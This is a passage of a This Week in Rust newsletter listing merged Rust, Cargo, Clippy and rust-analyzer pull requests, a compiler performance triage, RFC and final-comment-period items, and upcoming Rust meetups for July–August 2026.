guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>

<p>* <a href="https://github.com/name970/Protocol/issues/4">Protocol - Extend bit-exactness tests to f64 reconstruction targets</a>                                                                          <br>
* <a href="https://github.com/lenra-io/dofigen/issues/278">Dofigen - No image tag replacement flag for the generate command</a></p>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>598 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-30..2026-07-07">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156976">enable eager <code>param_env</code> norm in new solver</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156379">lint on <code>core::ffi::c_void</code> as a return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158577">polish some macro parsing code</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158604">resolve: no allocation in <code>resolve_ident_in(_local)_module_*</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158627">simplify option-iterator flattening in the compiler</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157857">stabilize <code>#[my_macro] mod foo;</code> (part of <code>proc_macro_hygiene</code>)</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158537">add <code>std::io::cursor::WriteThroughCursor</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157347">implement <code>Box::as_non_null()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156737">implement <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/134021">implement <code>IntoIterator</code> for <code>[&amp;[mut]] Box&lt;[T; N], A&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158427">implement <code>ptr::{read,write}_unaligned</code> via <code>repr(packed)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158539">move <code>SizeHint</code> and <code>IoHandle</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158540">move <code>std::io::Seek</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158704">optimize <code>ArrayChunks::try_rfold</code> with <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158573">stabilize <code>feature(atomic_from_mut)</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17135"><code>bindeps</code>: register transitive artifact targets</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17167">avoid cloning parsed TOML manifest in <code>ManifestErrorContext</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17176">avoid extra clone of parsed TOML manifest</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17178">remove unneeded cloning when parsing package index</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17169">change HashMaps and HashSets in Cargo to use Fxhasher</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17174">do not pass lint rustflags when <code>--cap-lints=allow</code> is set</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17164">fixed <code>Compilation::deps_output</code> only taking the last dep</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17177">pre-allocate a few vectors</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16807">stabilize <code>build-dir</code> layout v2</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17180">use a set when checking visited workspace members</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158751">fix crash when trying to inline foreign item which cannot have attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158334">show use-site paths for unevaluated const array lengths</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17319"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with const parameters</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17360"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with type params</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17309"><code>missing_trait_methods</code>: MSRV/unstable awareness</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17289"><code>vec_init_then_push</code>: don't lint pushes from a macro expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17346"><code>inline_modules</code>: ignore <code>cfg(test)</code> modules in test builds</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17345"><code>match_same_arms</code>: keep arm-level expectations working under an outer allow</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17341"><code>unnecessary_operation</code>: avoid bad <code>!</code> suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17351"><code>unnecessary_unwrap_unchecked</code>: don't trigger inside the <code>_unchecked</code> fn</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17348">add required parentheses when the <code>needless_bool</code> suggestion is an operand</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17353">fix ICE when resolving local in <code>unnecessary_unwrap_unchecked</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17311">fix <code>infinite_loop</code> false positive inside gen blocks</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17358">fix <code>manual_c_str_literals</code> suggestion when the trailing backslash is escaped</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17337">fix <code>strlen_on_c_strings</code> incorrect suggestion logic</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17323">fix <code>suspicious_operation_groupings</code> duplications</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16902">lint bit width</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17338">optimize <code>Msrv::meets</code> calls</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17273">bail out of unicode lint scans when the snippet is pure ASCII</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17224">skip the HIR parent walk in <code>is_in_test_function</code> when there are no test items</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17366">place generated impl block after the existing impl block</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17333">refactor <code>StringAdd</code> lint pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17334">refactor <code>suspicious_xor_used_as_pow</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17293">remove <code>lower_ty</code> in <code>uninhabited_reference</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17328">respect the configured MSRV in <code>manual_is_variant_and</code>'s <code>map() == Some(_)</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17332">rewrite <code>mut_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17329">rewrite <code>redundant_else</code> as a late pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17354">rewrite <code>tuple_array_conversions</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22595">SCIP: exclude leading/trailing trivia in definition ranges</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22708">SCIP: remove dead <code>inlay_hints</code> field</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22433"><code>feat(ide-diagnostics)</code>: add diagnostics for invalid union patterns (E0784)</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22704"><code>internal(query-group-macro)</code>: remove the arity test</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22668">add tree top method to Syntax node</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22665">add handler for E0627</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22231">supports multi arms for <code>replace_match_with_if_let</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22690">fix UB in <code>smol_str borsh_non_utf8</code> test cases</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/20362">fix generic param for <code>generate_default_from_enum_variant</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22703"><code>walkthrough_create_project</code> file not packaged</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22677">assertion failure on closure with unbound function</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22613">avoid panic in <code>convert_tuple_struct_to_named_struct</code> on nested pattern usage</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22649">configuration syntax for nvim-lsp</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22706">correct resolution to value when it shares the same name with type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22619">exclude impls on the error type from impl enumeration</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22705">fix crash on <code>extract_variable</code> when selecting unresolved macro call</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22715">fix crash on completion inside macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22673">fix handling of params of coroutine fns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22675">handle more cases of cfgs in expr store lowering</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22488">no generate with default assoc item</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22674">panics in <code>unwrap_return_type</code>, <code>remove_underscore</code>, and <code>promote_local_to_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22711">hoist attribute qualifier segment collection</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22709">reduce parser joint-token allocation</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22676">project-model: don't pass metadata extra args to sysroot</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22679">project-model: introduce cargo.configPath</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22581">provide startup time to ready log point and associated benchmark</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet.
Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=7dc2c162b9c197aaa76a6f9e7534569537830a01&amp;end=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;absolute=false&amp;stat=instructions%3Au">7dc2c162..3659db0d</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.2%</td>
<td>[0.2%, 0.2%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>162.1%</td>
<td>[0.2%, 1116.3%]</td>
<td>20</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.4%</td>
<td>[-8.4%, -0.1%]</td>
<td>7</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-1.1%</td>
<td>[-8.4%, -0.1%]</td>
<td>11</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-0.9%</td>
<td>[-8.4%, 0.2%]</td>
<td>10</td>
</tr>
</tbody>
</table>
<p>1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups
17 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/9f1bc6e374b5ae202366df1cbef850b79be8c641/triage/2026/2026-07-06.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158522">Lint against invalid POSIX symbol definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158325">Document NonNull layout guarantees</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/112811">Tracking Issue for <code>slice_split_once</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2293">Empty repr(Rust) enums are ZSTs</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3982">Update RFC template</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3981">RFC: Store registry tokens in the OS credential store by default</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-08 - 2026-08-05 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-08 | Virtual (Cardiff, GB) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/">Rust and C++ Cardiff</a></li>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315506435/"><strong>Operating Systems Book Club: Introduction + Processes</strong></a></li>
<li>2026-07-08 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/jv9lom12"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-09 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a></li>
<li><a href="https://www.meetup.com/rust-noris/events/315517604/"><strong>Rust Nürnberg online</strong></a></li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a></li>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a></li>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a></li>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa:</a></h5>
<ul>
<li>2026-07-14 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup/events/">Johannesburg Rust Meetup</a></li>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315573758/"><strong>Debugging a production grade Open Source Rust crate</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a></li>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
<li>2026-07-09 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315585121/"><strong>Rust Berlin on location 🏳️‍🌈 - Edition 015</strong></a></li>
<li>2026-07-09 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main/events/">Rust Rhein-Main</a></li>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315366165/"><strong>Building Cross Platform Applications with Ply</strong></a></li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a></li>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a></li>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a></li>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a></li>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a></li>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a></li>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a></li>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
<li>2026-07-09 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a></li>
<li><a href="https://www.meetup.com/hackerdojo/events/315338107/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a></li>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a></li>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a></li>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a></li>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a></li>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-09 | Brisbane City, QL, AU | <a href="https://www.meetup.com/rust-brisbane/events/">Rust Brisbane</a></li>
<li><a href="https://www.meetup.com/rust-brisbane/events/315563251/"><strong>Rust Brisbane • July 2026</strong></a></li>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a></li>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a></li>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
